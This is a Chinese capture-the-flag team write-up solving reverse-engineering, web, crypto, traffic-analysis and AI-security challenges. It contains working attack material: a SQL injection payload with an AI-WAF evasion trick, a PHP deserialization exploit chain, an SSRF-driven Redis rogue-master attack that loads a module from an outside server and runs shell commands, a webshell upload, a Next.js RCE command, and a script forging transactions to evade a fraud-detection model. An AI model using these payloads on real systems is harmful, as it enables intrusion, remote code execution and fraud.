
汲汲爆战队WRITEUP

一、战队信息

战队名称：汲汲爆

战队排名：57

二、解题情况

三、 解题过程

RE

Babygame：

操作内容：

搜一下发现是 GoDot 写的，GORE 打开，捡一个硬币改变 Key



密文秘钥都有，厨子解一下



flag 值：

flag{wOW~youAregrEaT!}

wasm-login

操作内容：

wasm 逆向，下载附件得到 build(wasm 产物)，一个 js 和一个 index.html

此外，产物内除了 wasm 还有其对应的.wasm.map 文件，即 Source Map

可以在 index.html 所在目录下用 python -m http.server 开一个服务，防止 CORS 不允

许访问 wasm



F12 可以看到注释里写了 测试账号 admin 测试密码 admin

继续审计 index 内的源码，可以看到其调用了 wasm 中的 authenticate 函数，parse 返

回 的 JSON ， 然 后 把 对 象 JSON.stringify 后 计 算 MD5 ， 并 用

check.startsWith("ccaf33e3512e31f3") 判断是否是正确的 check 值

simulateServerRequest()函数源码



审计 wasm 只需将.map 中的\n 替换为扩展就能拿到源映射

要用 Date.now() 作为签名 secret，结合用户名和密码做 HMAC-SHA256 生成

signature

我们知道了用户名和密码，要通过 HMAC 只需调用 release.js 已有的函数，爆破时间戳

找出正确的 md5 值就可以

题目提示是 2025 年 12 月第三个周末到周一凌晨，可以把时间缩小到

2025-12-21 21:00:00 至 2025-12-22 06:00:00 间

对应的时间戳就是[1766322000000,1766354400000]

编写 solve.js 脚本，使用如下命令运行即可得到 flag



import { authenticate } from './build/release.js';

import crypto from 'crypto';

const TARGET_PREFIX = "ccaf33e3512e31f3";

const USERNAME = "admin";

const PASSWORD = "admin";

function solve() {

const startTs = 1766322000000;

const endTs = 1766354400000;

let count = 0;

let currentTimestamp = 0;

Date.now = () => currentTimestamp;

for (let ts = endTs; ts >= startTs; ts--) {

currentTimestamp = ts;

const authResult = authenticate(USERNAME, PASSWORD);

const check = crypto.createHash('md5').update(authResult).digest('hex');

if (check.startsWith(TARGET_PREFIX)) {

console.log("Timestamp:", ts);

console.log("Check:", check);

return;

}

count++;

if (count % 100000 === 0) console.log(`Checking ${count}. Current: ${ts}.`);

}

}

solve();



flag 值：

flag{ccaf33e3512e31f36228f0b97ccbc8f1}

WEB

AI_WAF

操作内容

用 payload 1' || 1=1-- -拿到了所有文章，说明存在 SQL 注入漏洞



注了好久发现不能用常规正则思路做这道题。根据题目标题猜测貌似使用了 AI 审计

SQL 注入，如果 confidence>0.50 就会报错。

在 query 中加入 /*%20*%20*%20*%20*/就能在不改变查询语句的情况下降低

confidence 值，如果 confidence 过高就多加几次

综合下来，总 payload 如下：







flag 值

flag{0fe7b8a4-e080-44ed-956f-f820f0cd78aa}

hellogate

操作内容

用 burp 访问发现在图片后面的源码



打一个 php 的反序列化，链子简单。我还思考了一下 cnext 打 file_get_contents 的

RCE，结果 PHP8 好像不支持这个方法，flag 就在/flag 根目录下。

链子： A::triggerMethod->B::__toString->C::__get

exp.php



<?php

class A

{

public $handle;

public function triggerMethod()

{

echo "" . $this->handle;

}

}

class B

{

public $worker;

public $cmd;

public function __toString()

{

return $this->worker->result;

}

}

class C

{

public $cmd;

public function __get($name)

{

echo file_get_contents($this->cmd);

}

}

// $raw = isset($_POST['data']) ? $_POST['data'] : '';

// header('Content-Type: image/jpeg');

// readfile("muzujijiji.jpg");

// highlight_file(__FILE__);

// $obj = unserialize($_POST['data']);

// $obj->triggerMethod();

$A = new A;

$B = new B;

$C = new C;

$A->handle = $B;

$B->worker = $C;

$C->cmd = '/flag';

$payload = serialize($A);

echo $payload;

// echo urlencode($payload);



POST 传参

data=O:1:"A":1:{s:6:"handle";O:1:"B":2:{s:6:"worker";O:1:"C

":1:{s:3:"cmd";s:5:"/flag";}s:3:"cmd";N;}}

flag 值

flag{bce37521-066e-4357-acc3-ebf440b2008a}

hjppx

本题的二血。所有的访问都用的 Advanced Protocol Tools 的 Execute，其余的没测试。

操作内容

ssrf 测试

file:///etc/passwd 发现 redis 服务。



dict://127.0.0.1:6379/info 获取了 redis 的一些基本信息。

考虑打 redis 的主从复制获取 shell，先在云服务器上起一个服务下载攻击文件



git clone

https://github.com/Testzero-wz/Awsome-Redis-Rogue-Server.gi

t

wget

https://github.com/n0b0dyCN/redis-rogue-server/raw/refs/hea

ds/master/exp.so

把 exp.so复制到文件夹里

开启服务器

python3 redis_rogue_server.py -v -path exp.so -lport 1028

开始攻击

建议每个 dict 多执行几次，避免顺序错乱。



dict://127.0.0.1:6379/flushall

dict://127.0.0.1:6379/slaveof:8.155.17.250:1028

dict://127.0.0.1:6379/config:set:dbfilename:exp.so

dict://127.0.0.1:6379/config:set:dir:/tmp/

dict://127.0.0.1:6379/module:load:/tmp/exp.so

dict://127.0.0.1:6379/slaveof:no:one

dict://127.0.0.1:6379/config:set:dbfilename:dump.rdb

dict://127.0.0.1:6379/system.exec:"ls /"

dict://127.0.0.1:6379/system.exec:"cat /flllaaaggggg"



flag 值

flag{e841172e-8c43-4793-a657-3fb5e72c0631}



dedecms

操作内容

注册一个账户后，在/member/发现 Aa123456789 用户。

织梦 CMS 默认管理路由位于/dede/,用 Aa123456789/Aa123456789 成功登入。

在左侧菜单栏的 会员/注册会员列表中找到自己注册的 123 用户，点击右边的提升



把用户类型改成超级管理员，负责频道选所有频道，并复制安全验证串。

把管理路由换成 123 登录。

这里发现 123 的管理界面跟原来的不一样，换一个号 1234



先用 Aa123456789 修改 1234 的基本信息，再把用户类型改成超级管理员

重新登录发现多了很多选项。

核心/附件管理/文件式管理器，新建一个 shell.php



flag 值

flag{acba5b9f-59cf-4d70-b004-1744db5e3dc0}

redjs

操作内容

一道 CVE 题，打的是 NextJS 的 RCE，CVE-2025-55182

直接借轮子了：NextRce https://github.com/ynsmroztas/NextRce



python nextrce.py -u

https://eci-2zehjykr53d80fw1w5qb.cloudeci1.ichunqiu.com:300

0/ -c "cat /flag"

flag 值

flag{6a64f265-e3bf-4987-bc09-e80c682a6441}



密码学

EzFlag：

操作内容

关键函数因为 f 参数很大循环次数过多

多伪随机数取 K 的下标，写个循环发现 48 一循环，直接将 i mod 48



flag 值：

flag{10632674-1d219-09f29-14769-f60219a24}

ECDSA

操作内容

重点在 nonce 函数中

def nonce(i): seed = sha512(b"bias" + bytes([i])).digest() k =

int.from_bytes(seed, "big") return k nonce 可以被 i 求出来，就可以进行已知

nonce 的攻击



nonce = k = int.from_bytes(sha512(b"bias" +

bytes([i])).digest(), "big")

From ECDSA: s = k^-1 * (z + r*d) mod n

Therefore: d = r^-1 * (s*k - z) mod n

exp.py

from ecdsa import SigningKey, NIST521p, VerifyingKey from hashlib import sha512,

sha1 from Crypto.Util.number import bytes_to_long, long_to_bytes import binascii

with open("public.pem", "rb") as f: vk = VerifyingKey.from_pem(f.read())

sigs_data = [] with open("signatures.txt", "r") as f: for line in f: msg_hex,

sig_hex = line.strip().split(":") msg = binascii.unhexlify(msg_hex)

sig = binascii.unhexlify(sig_hex) sigs_data.append((msg, sig)) def

extract_sig(sig): r = int.from_bytes(sig[:66], "big") s = int.from_bytes(sig[66:],

"big") return r, s curve_order = NIST521p.order found = False for i in

range(len(sigs_data)): msg, sig = sigs_data[i] z =

bytes_to_long(sha1(msg).digest()) r, s = extract_sig(sig) # k =

int.from_bytes(sha512(b"bias" + bytes([i])).digest(), "big") k =

bytes_to_long(sha512(b"bias" + bytes([i])).digest()) r_inv = pow(r, -1,

curve_order) priv_key = (r_inv * (s * k - z)) % curve_order sk_candidate =

SigningKey.from_secret_exponent(priv_key, curve=NIST521p) vk_candidate =

sk_candidate.verifying_key if vk_candidate.to_string() == vk.to_string():

print(f"Found d={priv_key}") found = True break if not found:

print("Private key not found")

d=117861902739067825667063005465047426290119004352697010417316974140

27484824601255112180676531145294320443777235338538357924760601782873

554458995940394745073

flag 即为 flag{md5(d)}

https://exp.py


flag 值

flag{581bdf717b780c3cd8282e5a4d50f3a0}

流量分析

SnakeBackdoor-1

操作内容：

筛选所有登录 admin 的 http 请求

拉到最下面可以发现一个为 302 FOUND 跳转的响应，显然是登录成功的数据包



查看得到登录密码 zxcvbnm123

flag 值：

flag{zxcvbnm12}

SnakeBackdoor-2

操作内容：

在攻击者登陆成功的 http 数据包后接着追踪，可以看到其尝试 SSTI 攻击{{7*7}}并成功

回显的数据包



据此继续查找对/admin/preview 的请求，可以发现执行{{config}}的数据包





Flask 应用的 `SECRET_KEY`就在响应里，即：

c6242af0-6891-4510-8432-e1cdf051f160

flag 值：

flag{c6242af0-6891-4510-8432-e1cdf051f160}

SnakeBackdoor-3

操作内容：

在上一题之后紧接着的数据包，可以发现一坨 base64 数据



解码后得到另一坨先 zlib 压缩再 base64 的逆序字符串

先逆序再拿去解压 zlib，得到了类似结构的一坨先 zlib 压缩再 base64 的逆序字符串



循环往复。编写 python 脚本依次解开，得到攻击者使用 RC4 加密通讯的代码，其中得

到 RC4 密钥：v1p3r_5tr1k3_k3y





flag 值：

flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

操作内容：

使用第三题的密钥，继续追踪并解密数据包，可以得知攻击者上传、查看并解压了一个

shell.zip，同时得到解压密码"nf2jd092jd01"



之后将恶意文件"shell"挪到/tmp，改名叫 python3.13 并赋权执行



由此可见木马进程执行的本体文件的名称为"python3.13"

flag 值：

flag{python3.13}

SnakeBackdoor-5

操作内容：

打开 shell 发现是 Socket 通信 192.168.1.201:58782 ，调试的时候服务是关闭的，被

迫边 Patch 边调试



接受 4 个字节用于生成 SM4 的 Key

结合队友给的流量 34 95 20 46 Patch 一下得到 Key



flag 值：

flag{ac46fb610b313b4f32fc642d8834b456}

AI 安全

The Silent Heist

操作内容：

题目说利用机器学习监控了交易的 20 个统计学维度，系统学习了正常用户行为模式

（资金流向、设备指纹的协方差关系等），一旦提交的数据分布偏离了“正常模型”，就会

警报。并给了一份包含 1000 条正常交易记录的日志 (public_ledger.csv)

需要伪造一批新的交易记录，日志需要包含 20 个特征列 (feat_0 至 feat_19)

feat_0: 交易金额 (Transaction Amount)

feat_1 ~ feat_19: 加密的设备与行为指纹

要求是：

伪造的交易总金额 (feat_0 总和) 必须超过 $2,000,000，交易全部被判定为“正常”。

然后不能直接重放截取到的日志数据，禁止大量重复单一数据

伪造完直接发送 csv 数据流即可，EOF 结尾

题目中提及了协方差关系，查询资料可知，协方差是衡量两个变量之间线性关系的统计



指标，正值表示正相关，负值表示负相关，而相关系数则是标准化后的协方差

对于本题 20 维的数据，我们需要一个模型来学习它们之间的关系，而最适合的方式是

使用高斯混合模型学习（GMM）

GMM 假设数据是由几个高斯分布（正态分布）混合而成的，影响其中一类数据(一个

feat)会影响到其它的 feat

那在满足了特征检测后，我们还需要想办法训练一个模型，在本地 check 一条被伪造的

交易记录是否正常

题目简介中同时说明了有一套基于 Isolation Forest (孤立森林) 的反欺诈系统，孤立森

林是一种无监督学习算法，用来识别异常值。原理在于异常数据数量较少，且与正常数

据差异较大，因此在被隔离时需要较少的步骤

借助 sklearn Python 库，我们可以用所给的 1000 条数据训练本地的 Isolation Forest

模型，在生成数据后，先用本地模型测一下，如果本地模型认为是“正常”的（predict 为

1），那服务器大概率也会认为是正常的

同时金额不是正数的交易记录也要被过滤掉，并且还要进行去重，防止记录碰撞。伪造



足够的记录直到超过 2000000（最好大一点点，确保通过）

交互选用 pwntools 即可，在 public_ledger.csv 同目录下编写 exp.py 并运行

如该题使用自己编写的脚本代码请详细写出，不允许截图

from pwn import *

import pandas as pd

import numpy as np

from sklearn.mixture import GaussianMixture

from sklearn.ensemble import IsolationForest

HOST = "182.92.11.160"

PORT = 30754

context.log_level = "info" # "debug"

def main():

io = remote(HOST, PORT)

df = pd.read_csv("public_ledger.csv")

gmm = GaussianMixture(n_components=5, covariance_type="full", random_state=114514)

gmm.fit(df.values)

iso_forest = IsolationForest(contamination=0.05, random_state=114514)

iso_forest.fit(df.values)

target_sum = 2001000 # 略大一点点，确保通过检测

current_sum = 0

io.recvuntil(b"Waiting for CSV Data Stream (End with 'EOF')...")

cols = [f"feat_{i}" for i in range(20)]

header = ",".join(cols) + "\n"



io.send(header.encode())

buffer = ""

count = 0

seen_hashes = set()

for row in df.values:

line = ",".join([f"{x:.16f}" for x in row])

seen_hashes.add(hash(line))

BATCH_SIZE = 10000

while current_sum < target_sum:

samples, _ = gmm.sample(BATCH_SIZE)

preds = iso_forest.predict(samples)

valid_indices = (preds == 1) & (samples[:, 0] > 0)

valid_samples = samples[valid_indices]

for sample in valid_samples:

line = ",".join([f"{x:.16f}" for x in sample])

line_hash = hash(line)

if line_hash in seen_hashes:

continue

seen_hashes.add(line_hash)

line += "\n"

buffer += line

current_sum += sample[0]

count += 1

if len(buffer) > 8192:

io.send(buffer.encode())

buffer = ""

if count % 1000 == 0:

log.info(f"sent {count} records, sum: {current_sum:.2f}")

if current_sum > target_sum:



break

if current_sum >= target_sum:

break

if buffer:

io.send(buffer.encode())

io.sendline(b"EOF")

io.interactive()

if __name__ == "__main__":

main()

flag 值：

flag{f255ace3-1b20-42fb-b4f0-9e46c6871614}
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